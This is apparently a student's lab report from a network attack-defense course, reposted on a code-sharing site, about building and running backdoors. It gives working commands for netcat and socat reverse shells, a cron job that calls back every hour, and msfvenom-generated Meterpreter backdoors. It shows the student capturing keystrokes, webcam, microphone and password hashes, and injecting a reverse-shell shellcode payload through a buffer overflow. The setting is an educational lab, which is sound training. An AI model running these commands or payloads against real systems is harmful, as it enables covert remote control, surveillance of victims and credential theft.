2018-2019-2 網絡對抗技術 20165318 Exp2 后門原理與實踐


2018-2019-2 網絡對抗技術 20165318 Exp2 后門原理與實踐


后門的基本概念及基礎問題回答

一、后門的概念

  • 未認證隱通道專門應用
  • 程序投送啟動隱藏

二、基礎問題回答

  • 問:例舉你能想到的一個后門進入到你系統中的可能方式?
    • 當我們打開一個網頁時,如果該網頁會自動鏈接到木馬程序的話,就會在后台自動下載安裝木馬的安裝程序,並會自動安裝木馬,生成可執行文件,以此在系統留下后門。
    • 或者在非官方網站下載應用程序時,該應用程序可能綁定了一些可執行文件,因此留下后門。
  • 問:例舉你知道的后門如何啟動起來(win及linux)的方式?
    • Windows:設置為開機自啟動、修改注冊表項、用戶執行帶有后門的可執行文件
    • Linux:通過crontab功能將后門設為定時啟動;也可以通過對正常軟件綁定注入shellcode
  • 問:Meterpreter有哪些給你映像深刻的功能?
    • 在植入后門后,可以控制被控主機的shell,執行指令;獲取被控主機的錄音、錄像、截圖、鍵盤輸入記錄等。
  • 問:如何發現自己有系統有沒有被安裝后門?
    • 打開防火牆,查看有沒有異常開放的端口;
    • 安裝殺毒軟件,實時監控電腦,定時對系統進行檢測;
    • 查看任務計划程序、開機自啟動項、注冊表項中是否有可疑程序。

返回目錄


常用后門工具

netcat

Windows獲得Linux Shell

  • 在Windows下使用ipconfig查看本機IP

  • 使用ncat.exe程序打開監聽ncat.exe -l -p 5318

  • 在kali中反彈連接Windows,ncat 169.254.175.85 5318 -e /bin/sh,使用-e選項執行shell程序

  • Windows成功獲得kali的shell

Linux獲得Windows Shell

  • 在kali中使用ifconfig查看IP

  • 打開監聽nc -l -p 5318

  • 在Windows中反彈連接kali,ncat.exe -e cmd.exe 192.168.208.129 5318

  • kali成功獲得Windows的命令提示

使用nc傳輸數據

  • Windows下監聽5318端口,ncat.exe -l 5318

  • kali反彈連接到Windows的5318端口,nc 169.254.175.85 5318

  • 連接建立成功,雙方可以相互傳輸數據

使用nc傳輸文件(將文件從kali傳給Windows)

  • Windows下監聽5318端口,並把收到的數據保存到file1.out中,ncat.exe -l 5318 > file1.out

  • kali反彈連接到Windows的5318端口,nc 169.254.175.85 5318 < file1.in

  • 連接建立成功,Win可以收到kali發來的文件。

使用nc傳輸文件(將文件從Windows傳給kali)

  • kali下監聽5318端口,並把收到的數據保存到file2.out中,nc -l 22 > file2.out

  • Windows反彈連接到kali的22端口,ncat.exe 192.168.208.129 22 < file2.in

  • 連接建立成功,kali可以收到Windows發來的文件。

返回目錄

Meterpreter

  • 后門就是一個程序。

  • 傳統的理解是:有人編寫一個后門程序,大家拿來用。后來有人編寫一個平台能生成后門程序。這個平台把后門的

    • 基本功能(基本的連接、執行指令),
    • 擴展功能(如搜集用戶信息、安裝服務等功能),
    • 編碼模式,
    • 運行平台,
    • 以及運行參數
    • 全都做成零件或可調整的參數。用的時候按需要組合,就可以生成一個可執行文件。
  • 典型的平台就包括有:

    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
      在下面的任務三中我們就用到了Metaspolit的msfvenom指令
  • 參數說明

    • -p 使用的payload。payload翻譯為有效載荷,就是被運輸有東西。這里windows/meterpreter/reverse_tcp就是一段shellcode.
    • -x 使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中。
    • -e 使用的編碼器,用於對shellcode變形,為了免殺。
    • -i 編碼器的迭代次數。如上即使用該編碼器編碼5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反彈回連的IP
    • LPORT 是回連的端口
    • -f 生成文件的類型
    • > 輸出到哪個文件

Meterpreter更多指令

meterpreter > help
Core Commands第一部分是核心指令
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information or control active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
    info                      Displays information about a Post module
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel


Stdapi: File system Commands第二部分是文件系統相關的
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory


Stdapi: Networking Commands當然少不了網絡操作的了
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    resolve       Resolve a set of host names on the target
    route         View and modify the routing table


Stdapi: System Commands系統指令
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands用戶接口,可以抓取擊鍵記錄
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands 
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands提權
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.
    ***我的win7沒成功***

Priv: Password database Commands導出密碼文件SAM
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database

Priv: Timestomp Commands修改文件操作時間,清理現場用
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

返回目錄


實驗內容

任務一:使用netcat獲取主機操作Shell,cron啟動

Cron是Linux下的定時任務,每一分鍾運行一次,根據配置文件執行預設的指令。詳細說明可以"man cron"。

  • 在Windows系統下,監聽5318端口

  • 在Kali環境下,用crontab -e指令編輯一條定時任務,(crontab指令增加一條定時任務,"-e"表示編輯)選擇編輯器時選擇3(第一次會提示選擇編輯器,以后就不會提示了);

  • 在最后一行添加26 * * * * /bin/netcat 169.254.175.85 5318 -e /bin/sh,意思是在每個小時的第26分鍾反向連接Windows主機的5318端口,設置成26的原因是我當時的時間是16點24,為了能立馬看到效果,所以我將時間設置成了26

  • 但時間到達26分鍾時如下圖所示:

返回目錄

任務二:使用socat獲取主機操作Shell, 任務計划啟動

socat:
- socat是ncat的增強版,它使用的格式是socat [options] <address> <address>,其中兩個address是必選項,而options 是可選項。
- socat的基本功能就是建立兩個雙向的字節流,數據就在其間傳輸,參數address就是代表了其中的一個方向。所謂流,代表了數據的流向,而數據則可以有許多不同的類型,命令中也就相應需要許多選項對各種不同的類型數據流進行限定與說明。

  • 搜索打開“計算機管理”

  • 在“任務計划程序”中“創建任務”

  • 填寫任務名->新建一個觸發器

  • 在操作->程序或腳本中選擇你的socat.exe文件的路徑,在添加參數一欄填寫tcp-listen:5318 exec:cmd.exe,pty,stderr,這個命令的作用是把cmd.exe綁定到端口5318,同時把cmd.exestderr重定向到stdout上:

  • 創建完成之后,按Windows+L快捷鍵鎖定計算機,再次打開時,可以發現之前創建的任務已經開始運行

  • 此時,在Kali環境下輸入指令socat - tcp:169.254.175.85:5318,這里的第一個參數-代表標准的輸入輸出,第二個流連接到Windows主機的5318端口,此時可以發現已經成功獲得了一個cmd shell

返回目錄

任務三:使用MSF meterpreter(或其他軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

  • 在Kali上執行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 -f exe > 20165318_backdoor.exe,注意這里的IP地址為控制端IP,即LinuxIP,可見已經生成了后門程序“20165318_backdoor.exe”

  • 在Windows下執行ncat.exe -l 5318 > 20165318_backdoor.exe,這樣被控主機就進入了接收文件模式,也可以使用ncat.exe -lv 5318 > 20165318_backdoor.exe指令,通過-lv選項看到當前的連接狀態,下面這個圖是文件傳輸成功的截圖

  • 在Linux中執行nc 169.254.175.85 5318 < 20165318_backdoor.exe,注意這里的IP為被控主機IP,即WindowsIP

  • 傳送接收文件成功,如下圖所示

  • 在Kali上使用msfconsole指令進入msf控制台,這時候我們能看到一個可愛的小人~而且每次打開都是不一樣的圖案!

  • 輸入use exploit/multi/handler使用監聽模塊,設置payload

  • set payload windows/meterpreter/reverse_tcp,使用和生成后門程序時相同的payload

  • set LHOST 192.168.208.129,這里用的是LinuxIP,和生成后門程序時指定的IP相同

  • set LPORT 5318,同樣要使用相同的端口

  • 設置完成后,執行監聽

  • 運行Windows下的后門程序

  • 此時Kali上已經獲得了Windows主機的連接,並且得到了遠程控制的shell

返回目錄

任務四:使用MSF meterpreter(或其他軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

  • 使用record_mic指令可以截獲一段音頻,可以用-d選項設置錄制時間

  • 使用webcam_snap指令可以使用攝像頭進行拍照

  • 使用keyscan_start指令開始記錄下擊鍵的過程,使用keyscan_dump指令讀取擊鍵的記錄

  • 使用screenshot指令可以進行截屏,效果如下:

  • 先使用getuid指令查看當前用戶,使用getsystem指令進行提權

  • 也可以用webcam stream指令可以使用攝像頭進行錄像

  • sysinfo 獲得目標系統的信息,機器名、操作系統等

  • ps獲得受害者機上運行的進程信息

  • migrate [] 命令,例如我把msf會話移植到1588 中,是explorer.exe,穩定的系統服務。從頭想起,我們的實驗是把受害者綁起來給他植入后門,很無腦。如果是正常的利用系統漏洞、瀏覽器漏洞溢出而得到的會話,比如IE瀏覽器,那么msf meterpreter代碼存在於IE的內存空間中,那邊關掉IE瀏覽器,msf會話就沒了,但是若存在於 -explorer這樣穩定的系統服務中,就能一直用。而且,這種移植是“無縫移植”,不用斷開已有的TCP連接。

  • execute 命令,例如我直接與win的cmd.exe交互,輸入 execute -H -i -f cmd.exe ,得到下圖所示的shell

  • upload / download 命令,顧名思義——往受害機傳/從受害機下載文件

返回目錄

任務五:可選加分內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈連接Shell

通過學習學姐的博客我了解到msf可以自己根據程序生成可執行的后門。於是,我使用msf將shellcode注入到pwn1.0(老師給的原始文件)中,生成可執行文件pwn2,學姐的博客中有詳細介紹各種指令怎么組合的,下面我就只簡單說一下我的過程。

  • 使用命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.208.129 LPORT=5318 -x /root/20165318sxx/exp2/pwn1.0 -f elf > pwn2由於在windowns中沒有可以執行pwn文件的程序,我將后門程序生成在了kali中,因此版本為linux/x86,需要被注入的文件是/root/20165318sxx/exp2/pwn1.0

  • 之后輸入msfconsole啟動,並打開監聽(過程與任務三相同,我就不一一贅述了)

  • 在kali上運行后門文件pwn2,注意!在kali中執行pwn2時應先加權限 chmod +x pwn2

  • 這時可以獲得kali的shell

雖然上面的這種方法可以得到shell,但與實驗目的不同。下面的才是符合要求的!!!

  • 這一項的要求:生成shellcode,注入pwn1文件,運行pwn1文件,pwn1進程經過緩沖區溢出后返回到shellcode的起始地址,然后開始去反彈連接壞人,壞人獲得受害者的shell(這里面壞人和受害者都是kali)

  • 具體步驟如下:

    • 這個shellcode網站,上面生成的的shellcode都是經過測試過可用的。在網站里找一個linux/x86平台的,反彈連接的shellcode,下載,復制出里面的機器碼。我選擇的是下面這個,代碼如下所示,其中的端口號和主機號也可以修改(但我在本次實驗過程中沒有修改)

    • 然后參考實驗一找到shell code的起始地址(注意要關閉地址隨機化) 並加在這段shellcode前面,並用其生成input_2文件。
    perl -e 'print "A" x 32;print"\x50\xd3\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_2
    

    • 然后在另一個終端中打開msfconsole,並打開監聽
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1 
set LPORT 4444          //這兩個都是根據你的shellcode來的
show options
exploit
- 在原終端`(cat input_2;cat) | ./pwn1`運行pwn1並回車,另一邊就可以得到shell了。
![](https://img2018.cnblogs.com/blog/1296414/201903/1296414-20190325212056672-1980066105.png)

返回目錄


實驗遇到的問題及解決方法

  • 問題:在做使用nc傳輸文件時,想將文件從win傳到kali中,卻一直提示由於目標計算機積極拒絕,無法連接..

  • 解決方法:參考Kali如何開啟SSH

    • 輸入指令netstat -tlnp查看ssh是否打開,如果沒有看見TCP端口22,則SSH服務沒有運行。
    • 首先,編輯 sshd_config 文件,允許遠程登入。
    • 命令:vim /etc/ssh/sshd_config
    • 將 #PasswordAuthentication yes 修改為:PasswordAuthentication yes
    • 將 #PermitRootLogin yes 修改為:PermitRootLogin yes?
    • :wq保存文件並退出.
    • 其次,運行如下命令將SSHD服務設置為開機自啟動:update-rc.d ssh enable
    • 也可以用/etc/init.d/ssh startservice ssh start打開ssh
    • 查看SSH服務狀態是否正在運行,命令為:/etc/init.d/ssh statusservice ssh status
      注意!!!在使用ssh傳輸文件時,一定要用ssh固定的端口22,用其他端口還是提示同樣的錯誤!

返回目錄


實驗總結與體會

  • 在2017年學院的信安大賽微視演繹環節的作品《機要風雲》給我留下了很深的影響。作品中一名飾演黑客的學長熟練地運用后門技術,簡單的敲擊了幾下鍵盤,就遠程控制了因主人公誤操作而感染木馬的涉密主機,然后調用攝像頭截屏並獲取本地機密文件,當時覺得這波操作簡直超級炫酷!沒想到現在的我也能做類似的事情,當第一次在攻擊機上執行被控主機的shell,還是挺高興的。在逐步實現一個個任務,最后調取被控主機錄像的時候,心中的成就感油然而生,哈哈哈。
  • 雖然現在的我僅僅只是了解后門的基本原理,掌握了最基本的后門的生成、投送、啟動,但有了現在的基礎,一步步循序漸進,我會學到更深入的知識~
  • 同時,我也更認識到系統防范入侵的能力之低的事實,也使我對一些常見的攻擊有了基礎的了解,提高了自己的安全意識。

返回目錄


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM